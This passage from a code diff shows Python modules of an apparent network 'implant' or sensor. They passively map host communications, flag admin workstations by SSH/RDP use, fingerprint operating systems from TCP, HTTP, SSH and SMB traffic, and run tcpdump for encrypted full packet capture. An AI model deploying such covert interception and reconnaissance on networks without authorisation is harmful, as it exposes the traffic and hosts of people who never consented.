SNAPSHOT_INTERVAL = 300 # 5 minutes
class NetworkMapper(BaseModule):
"""Build communication graph from all observed traffic."""
name = "network_mapper"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._snapshot_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._lock = threading.Lock()
# In-memory graph: (src_ip, dst_ip, proto, port) -> {bytes, packets, first, last}
self._graph: dict[tuple, dict] = {}
# Role tracking: ip -> set of connected IPs per direction
self._inbound: dict[str, set] = defaultdict(set) # dst -> set(src)
self._outbound: dict[str, set] = defaultdict(set) # src -> set(dst)
self._ssh_rdp_dests: dict[str, set] = defaultdict(set) # src -> set(dst) for SSH/RDP
self._printer_servers: set = set()
self._stats = {
"packets_processed": 0,
"unique_connections": 0,
"hosts_seen": 0,
"snapshots_taken": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("NetworkMapper requires _capture_bus in config")
return
# Subscribe to all traffic
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="", queue_depth=5000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-netmap-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-netmap-flush"
)
self._flush_thread.start()
self._snapshot_thread = threading.Thread(
target=self._snapshot_loop, daemon=True, name="sensor-netmap-snapshot"
)
self._snapshot_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("NetworkMapper started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread, self._snapshot_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_to_db()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("NetworkMapper stopped — stats: %s", self._stats)
def status(self) -> dict:
with self._lock:
hosts = set()
for (src, dst, _, _) in self._graph:
hosts.add(src)
hosts.add(dst)
self._stats["hosts_seen"] = len(hosts)
self._stats["unique_connections"] = len(self._graph)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
pass
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Extract IP flow tuple and update graph."""
if len(pkt) < 34:
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
# Handle 802.1Q
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 38:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800: # IPv4 only
return
if len(pkt) < eth_offset + 20:
return
ip_header = pkt[eth_offset:]
ihl = (ip_header[0] & 0x0F) * 4
total_len = struct.unpack("!H", ip_header[2:4])[0]
ip_proto = ip_header[9]
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
port = 0
proto_name = "other"
if ip_proto == TCP_PROTO and len(ip_header) >= ihl + 4:
_, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
port = dst_port
proto_name = "tcp"
elif ip_proto == UDP_PROTO and len(ip_header) >= ihl + 4:
_, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
port = dst_port
proto_name = "udp"
elif ip_proto == 1:
proto_name = "icmp"
pkt_bytes = total_len
key = (src_ip, dst_ip, proto_name, port)
with self._lock:
if key not in self._graph:
self._graph[key] = {
"bytes": 0, "packets": 0,
"first_seen": ts, "last_seen": ts,
}
entry = self._graph[key]
entry["bytes"] += pkt_bytes
entry["packets"] += 1
entry["last_seen"] = ts
# Track roles
self._inbound[dst_ip].add(src_ip)
self._outbound[src_ip].add(dst_ip)
if port in (22, 3389):
self._ssh_rdp_dests[src_ip].add(dst_ip)
if port == PRINTER_PORT:
self._printer_servers.add(dst_ip)
# ------------------------------------------------------------------
# Role classification
# ------------------------------------------------------------------
def _classify_role(self, ip: str) -> str:
"""Classify a host's role based on observed traffic patterns."""
roles = []
if len(self._inbound.get(ip, set())) >= SERVER_INBOUND_THRESHOLD:
roles.append("server")
if len(self._ssh_rdp_dests.get(ip, set())) >= ADMIN_SSH_RDP_THRESHOLD:
roles.append("admin_workstation")
if ip in self._printer_servers:
roles.append("printer")
if len(self._outbound.get(ip, set())) >= CLIENT_OUTBOUND_THRESHOLD:
roles.append("client")
return ",".join(roles) if roles else "unknown"
# ------------------------------------------------------------------
# Graphviz output
# ------------------------------------------------------------------
def generate_dot(self) -> str:
"""Generate Graphviz DOT format of the communication graph."""
lines = ['digraph network {', ' rankdir=LR;', ' node [shape=box];']
with self._lock:
hosts = set()
for (src, dst, proto, port) in self._graph:
hosts.add(src)
hosts.add(dst)
# Node declarations with role colors
role_colors = {
"server": "lightblue",
"admin_workstation": "orange",
"printer": "lightgreen",
"client": "lightyellow",
}
for ip in sorted(hosts):
role = self._classify_role(ip)
color = "white"
for r, c in role_colors.items():
if r in role:
color = c
break
label = f"{ip}\\n[{role}]"
lines.append(f' "{ip}" [label="{label}", style=filled, fillcolor={color}];')
# Edges
for (src, dst, proto, port), data in self._graph.items():
label = f"{proto}/{port}\\n{data['packets']}pkts"
lines.append(f' "{src}" -> "{dst}" [label="{label}"];')
lines.append('}')
return '\n'.join(lines)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "network_mapper.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _flush_to_db(self) -> None:
"""Flush in-memory graph to SQLite."""
with self._lock:
snapshot = dict(self._graph)
if not snapshot or not self._db_conn:
return
try:
with self._db_conn:
for (src, dst, proto, port), data in snapshot.items():
rel = self._classify_role(dst)
self._db_conn.execute(
"""INSERT INTO connections
(src_ip, dst_ip, protocol, port, bytes_total, packets,
first_seen, last_seen, relationship_type)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(src_ip, dst_ip, protocol, port)
DO UPDATE SET
bytes_total = bytes_total + excluded.bytes_total,
packets = packets + excluded.packets,
last_seen = MAX(last_seen, excluded.last_seen)""",
(src, dst, proto, port, data["bytes"], data["packets"],
data["first_seen"], data["last_seen"], rel),
)
except Exception:
logger.exception("Failed to flush connections to DB")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_to_db()
except Exception:
logger.exception("Flush loop error")
def _snapshot_loop(self) -> None:
"""Periodic snapshots for change_detector consumption."""
while self._running:
time.sleep(SNAPSHOT_INTERVAL)
try:
dot_output = self.generate_dot()
snapshot_dir = os.path.join(
os.path.dirname(self._db_path), "snapshots"
)
Path(snapshot_dir).mkdir(parents=True, exist_ok=True)
filename = f"netmap_{int(time.time())}.dot"
filepath = os.path.join(snapshot_dir, filename)
with open(filepath, "w") as f:
f.write(dot_output)
self._stats["snapshots_taken"] += 1
# Publish snapshot event for change_detector
self.bus.emit("CHANGE_DETECTED", {
"module": self.name,
"snapshot_path": filepath,
"hosts_count": self._stats["hosts_seen"],
"connections_count": self._stats["unique_connections"],
}, source_module=self.name)
except Exception:
logger.exception("Snapshot loop error")
+623
View File
@@ -0,0 +1,623 @@
#!/usr/bin/env python3
"""Passive OS fingerprinting via p0f-style TCP analysis and protocol headers.
Analyzes:
- TCP SYN/SYN-ACK: TTL, window size, DF flag, MSS, SACK, TCP timestamps
- HTTP User-Agent headers
- DHCP vendor class identifiers
- SMB dialect negotiation
- SSH version strings
Multiple signal sources produce confidence scoring per host. Results are
merged with the hosts table from host_discovery.
"""
import logging
import os
import re
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# p0f-style TCP signature database (built-in fallback)
# Format: (ttl_range, window_size, df, mss_range, sack, timestamps) -> (os_family, os_version)
TCP_SIG_DB = [
# Linux signatures
{"ttl": (64, 64), "df": True, "window": (5720, 65535), "mss": (1360, 1460),
"sack": True, "ts": True, "os_family": "Linux", "os_version": "2.6+"},
# Windows signatures
{"ttl": (128, 128), "df": True, "window": (8192, 65535), "mss": (1360, 1460),
"sack": True, "ts": False, "os_family": "Windows", "os_version": "7/10/Server"},
{"ttl": (128, 128), "df": True, "window": (8192, 8192), "mss": (1360, 1460),
"sack": True, "ts": False, "os_family": "Windows", "os_version": "XP/2003"},
# macOS / iOS
{"ttl": (64, 64), "df": True, "window": (65535, 65535), "mss": (1360, 1460),
"sack": True, "ts": True, "os_family": "macOS", "os_version": "10.x+"},
# FreeBSD
{"ttl": (64, 64), "df": True, "window": (65535, 65535), "mss": (1360, 1460),
"sack": True, "ts": True, "os_family": "FreeBSD", "os_version": ""},
# Cisco IOS
{"ttl": (255, 255), "df": False, "window": (4128, 4128), "mss": (536, 536),
"sack": False, "ts": False, "os_family": "Cisco", "os_version": "IOS"},
# Solaris
{"ttl": (255, 255), "df": False, "window": (49232, 49232), "mss": (1360, 1460),
"sack": False, "ts": True, "os_family": "Solaris", "os_version": "10+"},
]
# HTTP User-Agent patterns
UA_PATTERNS = [
(re.compile(r"Windows NT 10\.0"), "Windows", "10/11"),
(re.compile(r"Windows NT 6\.3"), "Windows", "8.1"),
(re.compile(r"Windows NT 6\.2"), "Windows", "8"),
(re.compile(r"Windows NT 6\.1"), "Windows", "7"),
(re.compile(r"Windows NT 5\.1"), "Windows", "XP"),
(re.compile(r"Mac OS X (\d+[._]\d+)"), "macOS", ""),
(re.compile(r"Linux"), "Linux", ""),
(re.compile(r"Ubuntu"), "Linux", "Ubuntu"),
(re.compile(r"Android (\d+)"), "Android", ""),
(re.compile(r"iPhone OS (\d+)"), "iOS", ""),
(re.compile(r"iPad.*OS (\d+)"), "iPadOS", ""),
(re.compile(r"CrOS"), "ChromeOS", ""),
]
class OSFingerprint(BaseModule):
"""Passive OS fingerprinting via TCP/protocol analysis."""
name = "os_fingerprint"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
BATCH_SIZE = 200
FLUSH_INTERVAL = 120
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_fingerprints = 0
# Per-IP confidence tracker: ip -> {os_family: {method: confidence}}
self._ip_os_scores = {}
self._scores_lock = threading.Lock()
# External signature database
self._os_sigs = []
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("OSFingerprint requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "os_fingerprints.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Load external OS signatures
sigs_path = self.config.get("os_sigs_db", "")
if sigs_path and os.path.isfile(sigs_path):
self._load_os_sigs(sigs_path)
# Subscribe to SYN packets + HTTP/SMB/SSH for protocol fingerprinting
# Using a broad filter; the module parses selectively
bpf = "tcp[tcpflags] & (tcp-syn) != 0"
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter=bpf, queue_depth=8000
)
# Second subscription for application-layer fingerprints
# We use a broader capture for HTTP/SMB/SSH — but since capture_bus
# only supports one subscription per module name, we parse app-layer
# from the same stream by also checking non-SYN packets that match
# We subscribe with an empty filter to get everything and filter in code
# Actually, let's keep SYN filter and add a second subscriber
self._capture_bus.unsubscribe(self.name)
self._sub_queue = self._capture_bus.subscribe(
name=self.name,
bpf_filter="tcp", # All TCP — we filter SYN and app-layer in code
queue_depth=10000,
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-osfp-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-osfp-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("OSFingerprint started — passive TCP/protocol analysis")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("OSFingerprint stopped — %d fingerprints collected", self._total_fingerprints)
def status(self) -> dict:
with self._scores_lock:
unique_hosts = len(self._ip_os_scores)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_fingerprints": self._total_fingerprints,
"unique_hosts": unique_hosts,
"buffer_size": len(self._buffer),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS os_fingerprints (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ip TEXT NOT NULL,
method TEXT NOT NULL,
signature TEXT,
os_family TEXT,
os_version TEXT,
confidence REAL,
timestamp REAL NOT NULL
);
CREATE INDEX IF NOT EXISTS idx_osfp_ip ON os_fingerprints(ip);
CREATE INDEX IF NOT EXISTS idx_osfp_family ON os_fingerprints(os_family);
""")
self._db_conn.commit()
def _load_os_sigs(self, path: str) -> None:
"""Load OS signature database from SQLite."""
try:
conn = sqlite3.connect(path)
rows = conn.execute(
"SELECT ttl, window, df, mss, sack, timestamps, os_family, os_version "
"FROM signatures"
).fetchall()
for row in rows:
self._os_sigs.append({
"ttl": (row[0], row[0]),
"window": (row[1], row[1]),
"df": bool(row[2]),
"mss": (row[3], row[3]),
"sack": bool(row[4]),
"ts": bool(row[5]),
"os_family": row[6],
"os_version": row[7] or "",
})
conn.close()
logger.info("Loaded %d OS signatures from %s", len(self._os_sigs), path)
except Exception:
logger.warning("Failed to load OS signatures from %s", path)
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100:
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
if ip_proto != 6:
return
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
ip_ttl = ip_hdr[8]
ip_flags = struct.unpack("!H", ip_hdr[6:8])[0]
df_flag = bool(ip_flags & 0x4000)
tcp_offset = ip_offset + ihl
if len(raw) < tcp_offset + 20:
return
tcp_hdr = raw[tcp_offset:]
src_port, dst_port = struct.unpack("!HH", tcp_hdr[:4])
tcp_flags = tcp_hdr[13]
window = struct.unpack("!H", tcp_hdr[14:16])[0]
tcp_hdr_len = ((tcp_hdr[12] >> 4) & 0xF) * 4
syn = bool(tcp_flags & 0x02)
ack = bool(tcp_flags & 0x10)
# SYN or SYN-ACK — do TCP fingerprinting
if syn:
self._fingerprint_tcp_syn(
ts, src_ip, ip_ttl, df_flag, window,
tcp_hdr[:tcp_hdr_len], syn_ack=ack,
)
# Application-layer fingerprinting for non-SYN packets with payload
if not syn:
payload = raw[tcp_offset + tcp_hdr_len:]
if payload:
if src_port == 80 or dst_port == 80 or src_port == 8080 or dst_port == 8080:
self._fingerprint_http(ts, src_ip, dst_ip, src_port, payload)
elif src_port == 22 or dst_port == 22:
self._fingerprint_ssh(ts, src_ip, src_port, payload)
elif src_port == 445 or dst_port == 445:
self._fingerprint_smb(ts, src_ip, src_port, payload)
# ------------------------------------------------------------------
# TCP SYN fingerprinting (p0f-style)
# ------------------------------------------------------------------
def _fingerprint_tcp_syn(self, ts: float, ip: str, ttl: int,
df: bool, window: int, tcp_header: bytes,
syn_ack: bool = False) -> None:
"""Analyze TCP SYN/SYN-ACK options for OS fingerprinting."""
# Parse TCP options
mss = 0
has_sack = False
has_timestamps = False
wscale = 0
if len(tcp_header) > 20:
opt_offset = 20
while opt_offset < len(tcp_header):
opt_kind = tcp_header[opt_offset]
if opt_kind == 0: # End of options
break
if opt_kind == 1: # NOP
opt_offset += 1
continue
if opt_offset + 1 >= len(tcp_header):
break
opt_len = tcp_header[opt_offset + 1]
if opt_len < 2 or opt_offset + opt_len > len(tcp_header):
break
if opt_kind == 2 and opt_len == 4: # MSS
mss = struct.unpack("!H", tcp_header[opt_offset + 2:opt_offset + 4])[0]
elif opt_kind == 3 and opt_len == 3: # Window Scale
wscale = tcp_header[opt_offset + 2]
elif opt_kind == 4: # SACK Permitted
has_sack = True
elif opt_kind == 8: # Timestamps
has_timestamps = True
opt_offset += opt_len
# Normalize TTL to nearest power-of-2 boundary
initial_ttl = self._normalize_ttl(ttl)
# Build signature string
sig = f"ttl:{initial_ttl}:win:{window}:mss:{mss}:df:{int(df)}:sack:{int(has_sack)}:ts:{int(has_timestamps)}:wscale:{wscale}"
# Match against signature database
os_family, os_version, confidence = self._match_tcp_signature(
initial_ttl, window, df, mss, has_sack, has_timestamps,
)
if os_family:
method = "tcp_syn_ack" if syn_ack else "tcp_syn"
self._record_fingerprint(ts, ip, method, sig, os_family, os_version, confidence)
def _match_tcp_signature(self, ttl: int, window: int, df: bool,
mss: int, sack: bool, timestamps: bool) -> tuple:
"""Match TCP parameters against signature database."""
best_match = ("", "", 0.0)
best_score = 0
sig_sources = self._os_sigs if self._os_sigs else TCP_SIG_DB
for sig in sig_sources:
score = 0
total = 6
ttl_lo, ttl_hi = sig["ttl"]
if ttl_lo <= ttl <= ttl_hi:
score += 2 # TTL is weighted higher
win_lo, win_hi = sig["window"]
if win_lo <= window <= win_hi:
score += 1
if sig["df"] == df:
score += 1
mss_lo, mss_hi = sig["mss"]
if mss_lo <= mss <= mss_hi:
score += 1
if sig["sack"] == sack:
score += 0.5
if sig["ts"] == timestamps:
score += 0.5
if score > best_score:
best_score = score
confidence = score / total
best_match = (sig["os_family"], sig["os_version"], confidence)
return best_match
@staticmethod
def _normalize_ttl(ttl: int) -> int:
"""Estimate initial TTL from observed TTL."""
if ttl <= 32:
return 32
elif ttl <= 64:
return 64
elif ttl <= 128:
return 128
else:
return 255
# ------------------------------------------------------------------
# Application-layer fingerprinting
# ------------------------------------------------------------------
def _fingerprint_http(self, ts: float, src_ip: str, dst_ip: str,
src_port: int, payload: bytes) -> None:
"""Extract OS info from HTTP User-Agent headers."""
try:
text = payload[:4096].decode("utf-8", errors="ignore")
except Exception:
return
ua_match = re.search(r"User-Agent:\s*(.+?)(?:\r\n|\n)", text, re.IGNORECASE)
if not ua_match:
return
ua = ua_match.group(1).strip()
# The User-Agent is from the client (request sender)
# If src_port is ephemeral (>1024), this is a client
if src_port > 1024:
fp_ip = src_ip
else:
fp_ip = dst_ip
for pattern, os_family, os_version in UA_PATTERNS:
m = pattern.search(ua)
if m:
version = os_version
if not version and m.lastindex:
version = m.group(1).replace("_", ".")
self._record_fingerprint(
ts, fp_ip, "http_ua", ua[:200],
os_family, version, 0.7,
)
break
def _fingerprint_ssh(self, ts: float, ip: str, src_port: int,
payload: bytes) -> None:
"""Extract OS info from SSH version string."""
try:
text = payload[:256].decode("ascii", errors="ignore")
except Exception:
return
if not text.startswith("SSH-"):
return
# SSH version string: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1
version_str = text.strip()
# The SSH server sends its banner — src_port should be 22
fp_ip = ip if src_port == 22 else ip
os_family = ""
os_version = ""
if "Ubuntu" in version_str:
os_family = "Linux"
os_version = "Ubuntu"
elif "Debian" in version_str:
os_family = "Linux"
os_version = "Debian"
elif "FreeBSD" in version_str:
os_family = "FreeBSD"
elif "OpenSSH" in version_str:
# Generic OpenSSH — likely Linux or BSD
os_family = "Linux/BSD"
if os_family:
self._record_fingerprint(
ts, fp_ip, "ssh_banner", version_str[:200],
os_family, os_version, 0.8,
)
def _fingerprint_smb(self, ts: float, ip: str, src_port: int,
payload: bytes) -> None:
"""Extract OS info from SMB negotiate response."""
# SMB2 header: 0xFE 'S' 'M' 'B'
if len(payload) < 68:
return
# Look for SMB2 header
smb2_offset = payload.find(b"\xfeSMB")
if smb2_offset < 0:
# Try SMB1
smb1_offset = payload.find(b"\xffSMB")
if smb1_offset >= 0 and src_port == 445:
self._record_fingerprint(
ts, ip, "smb_dialect", "SMB1",
"Windows", "XP/2003 or Samba", 0.5,
)
return
# SMB2 negotiate response from server (src_port 445)
if src_port != 445:
return
smb2_data = payload[smb2_offset:]
if len(smb2_data) < 68:
return
# SMB2 header is 64 bytes, then negotiate response
# Dialect at offset 4-5 of negotiate response (after 64-byte header)
neg_response = smb2_data[64:]
if len(neg_response) < 6:
return
# struct_size(2) + security_mode(2) + dialect_revision(2)
dialect = struct.unpack("<H", neg_response[4:6])[0]
dialect_map = {
0x0202: ("Windows", "Vista/2008 or Samba"),
0x0210: ("Windows", "7/2008R2"),
0x0300: ("Windows", "8/2012"),
0x0302: ("Windows", "8.1/2012R2"),
0x0311: ("Windows", "10/2016+"),
}
if dialect in dialect_map:
os_family, os_version = dialect_map[dialect]
self._record_fingerprint(
ts, ip, "smb_dialect", f"SMB{dialect:#06x}",
os_family, os_version, 0.75,
)
# ------------------------------------------------------------------
# Record management
# ------------------------------------------------------------------
def _record_fingerprint(self, ts: float, ip: str, method: str,
signature: str, os_family: str,
os_version: str, confidence: float) -> None:
"""Record an OS fingerprint observation."""
self._total_fingerprints += 1
# Update per-IP confidence scoring
with self._scores_lock:
if ip not in self._ip_os_scores:
self._ip_os_scores[ip] = {}
scores = self._ip_os_scores[ip]
if os_family not in scores:
scores[os_family] = {}
scores[os_family][method] = confidence
record = (ip, method, signature[:500], os_family, os_version, confidence, ts)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
def get_best_guess(self, ip: str) -> dict:
"""Get the highest-confidence OS guess for an IP."""
with self._scores_lock:
scores = self._ip_os_scores.get(ip, {})
if not scores:
return {"os_family": "", "confidence": 0.0}
# Aggregate confidence per OS family
best_family = ""
best_conf = 0.0
for os_family, methods in scores.items():
# Average confidence across methods, boosted by method count
avg_conf = sum(methods.values()) / len(methods)
method_bonus = min(len(methods) * 0.1, 0.3) # Up to 30% bonus
total_conf = min(avg_conf + method_bonus, 1.0)
if total_conf > best_conf:
best_conf = total_conf
best_family = os_family
return {"os_family": best_family, "confidence": round(best_conf, 2)}
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("OS fingerprint flush error")
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO os_fingerprints "
"(ip, method, signature, os_family, os_version, confidence, timestamp) "
"VALUES (?, ?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d OS fingerprints", len(batch))
+379
View File
@@ -0,0 +1,379 @@
#!/usr/bin/env python3
"""Full packet capture via tcpdump with post-rotation compression and encryption.
Manages tcpdump as a supervised subprocess. After each PCAP rotation:
1. Compress with zstd (level configurable per platform)
2. Encrypt with AES-256-GCM
3. Remove plaintext PCAP
4. Publish PCAP_ROTATED event
Disk monitoring auto-purges oldest encrypted PCAPs at 85% threshold.
"""
import glob
import logging
import os
import shutil
import signal
import struct
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.networking import detect_interface_with_retry
logger = logging.getLogger(__name__)
class PacketCapture(BaseModule):
"""Manage tcpdump for continuous full packet capture with rotation."""
name = "packet_capture"
module_type = "passive"
priority = 50
requires_root = True
requires_capture_bus = True
# Defaults
DEFAULT_INTERFACE = "eth0"
DEFAULT_SNAP_LEN = 65535
DEFAULT_ROTATION_SECS = 3600
DEFAULT_MAX_FILES = 168 # 7 days at 1h rotation
DEFAULT_COMPRESSION_LEVEL = 3
DEFAULT_DISK_THRESHOLD = 85 # percent
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._proc: Optional[subprocess.Popen] = None
self._watcher_thread: Optional[threading.Thread] = None
self._rotation_thread: Optional[threading.Thread] = None
self._lock = threading.Lock()
self._pcap_dir = ""
self._pcap_count = 0
self._bytes_written = 0
self._encryption_key = b""
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
iface = self.config.get("interface") or detect_interface_with_retry(
max_retries=3,
retry_delay=5,
exponential=True,
config_interface=self.DEFAULT_INTERFACE
)
snap_len = self.config.get("snap_length", self.DEFAULT_SNAP_LEN)
rotation = self.config.get("rotation_minutes", 60) * 60
if rotation <= 0:
rotation = self.DEFAULT_ROTATION_SECS
compress_level = self.config.get("compression_level", self.DEFAULT_COMPRESSION_LEVEL)
disk_threshold = self.config.get("disk_threshold", self.DEFAULT_DISK_THRESHOLD)
# Directories
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._pcap_dir = os.path.join(base_dir, "pcaps")
Path(self._pcap_dir).mkdir(parents=True, exist_ok=True)
# Encryption key from config (derived by crypto module at startup)
self._encryption_key = self.config.get("encryption_key", b"")
if isinstance(self._encryption_key, str):
self._encryption_key = self._encryption_key.encode()
# Build tcpdump command
pcap_template = os.path.join(self._pcap_dir, "capture_%Y%m%d_%H%M%S.pcap")
cmd = [
"tcpdump",
"-i", iface,
"-G", str(rotation),
"-s", str(snap_len),
"-w", pcap_template,
"--time-stamp-precision=nano",
"-Z", "root", # don't drop privs (we need to read output files)
]
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
preexec_fn=os.setsid,
)
except FileNotFoundError:
logger.error("tcpdump binary not found")
return
except Exception as e:
logger.error("Failed to start tcpdump: %s", e)
return
self._running = True
self._pid = self._proc.pid
self._start_time = time.time()
# Watcher thread — monitors tcpdump stderr and detects crashes
self._watcher_thread = threading.Thread(
target=self._watch_tcpdump, daemon=True, name="sensor-pcap-watch"
)
self._watcher_thread.start()
# Rotation thread — scans for completed PCAPs to compress/encrypt
self._rotation_thread = threading.Thread(
target=self._rotation_loop,
args=(compress_level, disk_threshold),
daemon=True, name="sensor-pcap-rotate",
)
self._rotation_thread.start()
self.state.set_module_status(self.name, "running", pid=self._proc.pid)
logger.info(
"PacketCapture started — tcpdump PID %d, iface=%s, rotation=%ds, snap=%d",
self._proc.pid, iface, rotation, snap_len,
)
def stop(self) -> None:
if not self._running:
return
self._running = False
# Graceful shutdown of tcpdump
if self._proc and self._proc.poll() is None:
try:
os.killpg(os.getpgid(self._proc.pid), signal.SIGTERM)
except (OSError, ProcessLookupError):
pass
try:
self._proc.wait(timeout=5.0)
except subprocess.TimeoutExpired:
try:
os.killpg(os.getpgid(self._proc.pid), signal.SIGKILL)
self._proc.wait(timeout=2.0)
except Exception:
pass
self._proc = None
self._pid = None
self.state.set_module_status(self.name, "stopped")
logger.info("PacketCapture stopped — %d PCAPs rotated", self._pcap_count)
def status(self) -> dict:
alive = self._proc is not None and self._proc.poll() is None
return {
"running": alive,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"pcap_dir": self._pcap_dir,
"pcap_count": self._pcap_count,
"bytes_written": self._bytes_written,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# Live reconfig requires restart
if self._running:
logger.info("PacketCapture config changed — restarting tcpdump")
self.stop()
self.start()
# ------------------------------------------------------------------
# tcpdump watcher
# ------------------------------------------------------------------
def _watch_tcpdump(self) -> None:
"""Read tcpdump stderr for stats and detect exit."""
try:
for line in iter(self._proc.stderr.readline, b""):
if not self._running:
break
decoded = line.decode("utf-8", errors="replace").rstrip()
if decoded:
logger.debug("tcpdump: %s", decoded)
except Exception:
pass
# tcpdump exited
if self._running:
